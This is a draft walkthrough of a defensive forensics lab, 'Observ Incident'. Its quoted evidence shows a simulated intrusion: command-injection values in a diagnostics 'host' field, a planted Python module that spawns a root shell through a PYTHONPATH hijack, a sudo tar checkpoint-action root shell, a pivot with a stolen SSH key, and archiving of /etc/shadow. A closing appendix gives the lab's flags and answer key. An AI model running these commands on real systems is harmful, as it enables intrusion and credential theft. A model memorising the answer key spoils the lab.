

Observ Incident — Walkthrough

WORKING DRAFT. The figures and the factual scaffolding (captions, citations, timeline, flag recovery) are filled in. Every **[AUTHOR: ...]** block is yours to write in your own words before submitting. OffSec does not accept AI-written Grimoire walkthroughs, so the analysis must be authored by you. Delete this banner and the final "Author-only" appendix before exporting the version you submit.

Lab: Observ Incident (Grimoire, defensive) · **Difficulty:** Intermediate (defender's perspective) ·

Flags: 2 × 05{...}

Environment facts (from the evidence): attacker 10.10.14.7 · web01 (monitoring portal, external) · internal01 172.20.0.3 (internal-only) · accounts seen: developer , svc_backup .

1. Scenario & scope

[AUTHOR: In 2–4 sentences, state what triggered the investigation, which hosts are in scope, and what you are being asked to determine. Use only the provided evidence.]

2. Evidence inventory

```
Evidence bundle received

analyst@soc:~/observ-incident — investigation

analyst@soc:~/observ-incident$ find evidence -type f | sort
evidence/internal01/home/svc_backup/.bash_history
evidence/internal01/tmp/.exfil/stage.txt
evidence/internal01/var/log/auth.log
evidence/web01/home/developer/.bash_history
evidence/web01/tmp/.x/netcheck.py
evidence/web01/var/log/apache2/access.log
evidence/web01/var/log/auth.log
evidence/web01/var/log/observ/diag_debug.log
evidence/web01/var/www/html/config.php
```

Fig 1 — the triage bundle: web01 and internal01 logs, shell histories, a recovered module, and a staged file.

Artifact	What it is (fact)
web01/var/log/apache2/access.log	external HTTP requests to the portal
web01/var/log/observ/diag_debug.log	application log of the diagnostics host values
web01/var/log/auth.log	SSH authentication and sudo events
web01/home/developer/.bash_history	commands run by the developer account
web01/tmp/.x/netcheck.py	recovered Python module
web01/var/www/html/config.php	application DB configuration
internal01/var/log/auth.log	SSH (publickey) + sudo events
internal01/home/svc_backup/.bash_history	commands run by svc_backup
internal01/tmp/.exfil/stage.txt	file staged by the attacker

[AUTHOR: one line on your triage approach — which artifact you started with and why.]

3. Initial access (web01)

```

web01 — external HTTP activity (attacker IP + diag.php)

analyst@soc:~/observ-incident — investigation

analyst@soc:~/observ-incident$ grep -nE 'diag.php|index.php|robots'
evidence/web01/var/log/apache2/access.log
2:10.10.14.7 - - [14/Sep/2026:02:14:02 +0000] "GET /robots.txt HTTP/1.1" 200 56 "-" "Mozilla/5.0 (X11;
Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
4:10.10.14.7 - - [14/Sep/2026:02:14:20 +0000] "POST /index.php HTTP/1.1" 200 790 "-" "Mozilla/5.0 (X11;
Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
5:10.10.14.7 - - [14/Sep/2026:02:14:25 +0000] "POST /index.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (X11; Linux
x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
7:10.10.14.7 - - [14/Sep/2026:02:15:01 +0000] "POST /monitor/diag.php HTTP/1.1" 200 980 "-" "Mozilla/5.0
(X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
8:10.10.14.7 - - [14/Sep/2026:02:15:40 +0000] "POST /monitor/diag.php HTTP/1.1" 200 1320 "-" "Mozilla/5.0

```

Fig 2 — access.log: requests from 10.10.14.7 hit /robots.txt , repeated POST /index.php , then /monitor/dashboard.php and several POST /monitor/diag.php .

```
web01 — diagnostics debug log reveals command injection

analyst@soc:~/observ-incident — investigation

analyst@soc:~/observ-incident$ cat evidence/web01/var/log/observ/diag_debug.log
2026-09-14 02:14:48 [diag] host=8.8.8.8
2026-09-14 02:15:01 [diag] host=127.0.0.1; id
2026-09-14 02:15:20 [diag] host=127.0.0.1; uname -a
2026-09-14 02:15:40 [diag] host=127.0.0.1; cat /var/www/html/config.php
2026-09-14 02:16:12 [diag] host=127.0.0.1; echo T1N7dzNiMDFfcMzX2QxNGdfYzBtbTRuZl8xbmp9 | base64 -d > /tmp/.obs_marker
```

Fig 3 — diag_debug.log: the `host` parameter carries shell metacharacters (`127.0.0.1; id` , `;` , `cat` ... `config.php` , a base64 `echo ... | base64 -d`).

[AUTHOR: explain what Fig 2–3 show — the source IP, the login attempts vs. the successful dashboard access, and how the `host` field on `/monitor/diag.php` gives command execution. Name the vulnerable parameter.]

4. Credential reuse & SSH foothold

```
web01 — SSH login + sudo PYTHONPATH in auth.log

analyst@soc:~/observ-incident — investigation

analyst@soc:~/observ-incident$ cat evidence/web01/var/log/auth.log
Sep 14 02:17:03 web01 sshd[2041]: Accepted password for developer from 10.10.14.7 port 51044 ssh2
Sep 14 02:17:03 web01 sshd[2041]: pam_unix(sshd:session): session opened for user developer(uid=1000) by (uid=0)
Sep 14 02:18:22 web01 sudo: developer : TTY=pts/0 ; PWD=/home/developer ; USER=root ; ENV=PYTHONPATH=/tmp/.x ; COMMAND=/usr/bin/python3 /opt/health/check.py
Sep 14 02:18:22 web01 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by developer(uid=1000)
Sep 14 02:20:51 web01 sshd[2041]: pam_unix(sshd:session): session closed for user developer
```

Fig 4 — auth.log: Accepted password for developer from 10.10.14.7 , followed by a sudo event (note the `ENV=PYTHONPATH=...`).

[AUTHOR: connect the DB password in `config.php` to the `developer` SSH login — explain the credential reuse and why reading a world-readable config beats brute force.]

5. Privilege escalation on web01 (PYTHONPATH hijack)

web01 — attacker commands (developer history)

analyst@soc:~/observ-incident — investigation

```
analyst@soc:~/observ-incident$ cat evidence/web01/home/developer/.bash_history
id
sudo -l
cat /var/www/html/config.php
mkdir -p /tmp/.x
echo "import os; os.setuid(0); os.system('/bin/bash')" > /tmp/.x/netcheck.py
sudo PYTHONPATH=/tmp/.x /usr/bin/python3 /opt/health/check.py
cat /root/proof.txt
cat ~/.ssh/config
cat ~/.ssh/svc_backup_id_ed25519
ssh -i ~/.ssh/svc_backup_id_ed25519 svc_backup@172.20.0.3
```

Fig 5 — developer history: `sudo -l` , a module written to `/tmp/.x/netcheck.py` , then `sudo PYTHONPATH=/tmp/.x ... check.py` .

web01 — recovered malicious module (PYTHONPATH hijack)

analyst@soc:~/observ-incident — investigation

```
analyst@soc:~/observ-incident$ cat evidence/web01/tmp/.x/netcheck.py
import os
os.setuid(0)
os.system('/bin/bash')
```

Fig 6 — the recovered `netcheck.py` : `os.setuid(0)` then a shell.

[AUTHOR: explain the technique — the allowed sudo health check imports `netcheck` , sudo preserves `PYTHONPATH` , so a planted module runs as root. Map it to MITRE T1548.003 / T1574.007.]

First flag

web01 — decode the staged base64 marker (flag 1)

analyst@soc:~/observ-incident — investigation

```
analyst@soc:~/observ-incident$ grep 'base64 -d' evidence/web01/var/log/observ/diag_debug.log | grep -oE '[A-Za-z0-9+/=]{20,}' | base64 -d  
OS{w3b01_rc3_d14g_c0mm4nd_1nj}
```

Fig 7 — base64-decoding the staged marker from diag_debug.log.

```
grep 'base64 -d' evidence/web01/var/log/observ/diag_debug.log \  
| grep -oE '[A-Za-z0-9+/=]{20,}' | base64 -d  
OS{w3b01_rc3_d14g_c0mm4nd_1nj}
```

6. Lateral movement / pivot to internal01

internal01 — pivot in (publickey) + sudo tar

analyst@soc:~/observ-incident — investigation

```
analyst@soc:~/observ-incident$ cat evidence/internal01/var/log/auth.log  
Sep 14 02:19:40 internal01 sshd[1555]: Accepted publickey for svc_backup from 172.20.0.2 port 40122 ssh2:  
ED25519 SHA256:9Qd7s0c0mPuT3dF1ng3rPrIntV4lu3abcd  
Sep 14 02:19:40 internal01 sshd[1555]: pam_unix(sshd:session): session opened for user svc_backup(uid=1001)  
by (uid=0)  
Sep 14 02:21:10 internal01 sudo: svc_backup : TTY=pts/0 ; PWD=/home/svc_backup ; USER=root ;  
COMMAND=/usr/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh  
Sep 14 02:21:10 internal01 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by  
svc_backup(uid=1001)
```

Fig 8 — internal01 auth.log: Accepted publickey for svc_backup from 172.20.0.2 (web01's internal address), then a sudo event.

[AUTHOR: explain how the attacker found the internal host and the svc_backup key on web01 (see developer history / ~/.ssh), and that the SSH into 172.20.0.3 comes from web01 — an east-west pivot.]

7. Privilege escalation on internal01 (sudo tar)

```
internal01 — attacker commands + staged exfil

analyst@soc:~/observ-incident — investigation

analyst@soc:~/observ-incident$ cat evidence/internal01/home/svc_backup/.bash_history
id
hostname
ip addr
sudo -l
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
cat /root/proof.txt
mkdir -p /tmp/.exfil
echo OS{1nt3rn4l_r00t_sud0_tar_pivot} > /tmp/.exfil/stage.txt
tar czf /tmp/.exfil/backup.tgz /root /etc/shadow 2>/dev/null
```

Fig 9 — svc_backup history: `sudo -l` , then `sudo tar ... --checkpoint-action=exec=/bin/sh` , then staging under `/tmp/.exfil` .

[AUTHOR: explain the GTFOBins `sudo tar` abuse via `--checkpoint-action` . Map to MITRE T1548.003.]

Second flag

```
internal01 — recover staged value (flag 2)

analyst@soc:~/observ-incident — investigation

analyst@soc:~/observ-incident$ cat evidence/internal01/tmp/.exfil/stage.txt
OS{1nt3rn4l_r00t_sud0_tar_pivot}
```

Fig 10 — the staged file left on internal01.

```
cat evidence/internal01/tmp/.exfil/stage.txt
OS{1nt3rn4l_r00t_sud0_tar_pivot}
```

8. Timeline (facts)

Time (UTC)	Host	Event
------------	------	-------

02:14:02	web01	recon: GET /robots.txt from 10.10.14.7
02:14:20–25	web01	repeated POST /index.php → dashboard (auth bypass)
02:15:01–16:12	web01	command injection via host on diag.php
02:17:03	web01	SSH developer from 10.10.14.7 (reused password)
02:18:22	web01	sudo python3 check.py with PYTHONPATH=/tmp/.x → root
02:19:40	internal01	SSH publickey svc_backup from 172.20.0.2 (pivot)
02:21:10	internal01	sudo tar --checkpoint-action → root; staging in /tmp/.exfil

9. Detections & lessons

[AUTHOR: write your own recommendations. Ideas to develop: alert on shell metacharacters in diagnostic inputs; alert on sudo with ENV=PYTHONPATH/LD_* ; alert on sudo tar/find/vi --checkpoint-action/-exec ; correlate one source IP across web/auth/downstream SSH; flag SSH from a DMZ host into an internal segment. See artifacts.zip/mitre-attack.md .]

Author-only appendix — DELETE before submitting

Reference answers (full citations in artifacts.zip/answer-key.md):

attacker_ip = 10.10.14.7 · cmdi_param = host · reused_account = developer · privesc_web01 = PYTHONPATH hijack · flag_web01 = OS{w3b01_rc3_d14g_c0mm4nd_1nj} · pivot_ip = 172.20.0.3 · gtfobins_binary = tar · flag_internal = OS{1nt3rn4l_r00t_sud0_tar_pivot}